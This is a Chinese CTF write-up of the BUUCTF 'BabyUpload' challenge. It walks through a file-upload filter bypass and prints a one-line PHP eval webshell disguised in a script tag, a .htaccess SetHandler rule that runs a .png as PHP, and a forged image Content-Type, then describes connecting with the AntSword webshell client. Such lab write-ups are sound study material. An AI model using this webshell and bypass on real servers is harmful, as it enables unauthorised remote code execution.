当前位置: 首页 > news >正文

buuctf BabyUpload

首先进来

可以看出是文件上传漏洞,直接bp抓上传文件的木马包看看

发到Repeater里看看

把1.jpg改成1.php会发现ph被过滤来在试试phtml之类的发现都不行,然后发现有.htaccess可以解决

htaccess唯一核心用途是:强制服务器把图片后缀(.png/.gif/.jpg)的文件当作 PHP 代码解析

然后先把1.jpg改成1.png发现<?php eval($_POST[cmd]);?>中<?也被过滤了可以把<?php eval($_POST[cmd]);改成<script language="php"> eval($_POST[cmd]);</script>

然后

就可以上传了但是<script language="php"> eval($_POST[cmd]);</script>还没有被解析所有还要上传.htaccess文件,这个文件有自己创,在文件里放

  1. <FilesMatch "1.png">

  2. SetHandler application/x-httpd-php

  3. </FilesMatch>

这里的1.png一定要与前面的一样还有

这里的Content-Type: application/octet-stream要改成Content-Type:image/jpeg然后改成上传的<script language="php"> eval($_POST[cmd]);</script>木马就能被解析了在靶场

后upload/31e891fe8473da80494517cb53c63dca/1.png加上给的拼接发到蚁剑上

这里的密码cmd是因为<script language="php"> eval($_POST[cmd]);</script>这里的是cmd

然后进入对应的服务器后台就能找到flag了

http://www.jsqmd.com/news/491518/

相关文章:

  • 以太坊 vs Polkadot 预编译合约对比 | 同样的入口,完全不同的能力边界
  • 题目2281:蓝桥杯2018年第九届真题-次数差
  • Windows 10系统盘制作(纯净版)
  • 具身智能中的VLA基础概念
  • 【Spring框架】别再死记硬背!AOP 原来这么简单
  • 回归实战2
  • 一次试样失败催生的技术革新:福尔蒂吹瓶专用ACR助剂逆向推演与流变拟合
  • 半监督食物图像分类项目
  • 国内首个,面向中小企业数据资产估值体系:“荟宸信科面向中小企业数据资产估值体系”正式发布(一)
  • iPhone开发 - %1$、%2$的写法
  • 就让我们从react的渲染逻辑出发吧
  • WordPress报错:preg_match() Compilation failed 错误解决方法
  • 【跨端技术ReactNative】JavaScript学习
  • 长亭 Xray Web 漏洞扫描器
  • 行业大咖谈数据资产|中海油如何规划数据资产管理?央企硬核实践拆解
  • 湘潭品牌设计公司权威推荐榜单
  • 零/负电价来了!储能业主如何抓住机遇?
  • 中小企业可用福尔蒂轻量化改性套件:含17种PA6/PBT配比+免费云端模拟
  • es为什么快面试回答
  • 筋膜提升第几天最肿
  • 深入解析HDFS:定义、架构、原理、应用场景及常用命令
  • 5 分钟搭建 Deepseek 私有化 RAG 知识库!支持多模型切换 + 激活验证 + 增量索引
  • 高级技巧-让AI自我迭代
  • 香港Web3区块链安全公司排行榜前三都有哪些公司?
  • openclaw、workbuddy上必装的12个RAG 应用 Skill 技能
  • 带你轻松了解半导体CIM系统之AMHS (二)
  • Android Studio 安装保姆级教程(mac版)
  • 巴菲特的持股策略:为什么长期持有是关键
  • 2026选不停机换单印刷机源头厂家,看这几点错不了,质量好的不停机换单印刷机技术实力与市场典范解析 - 品牌推荐师
  • 团队最佳实践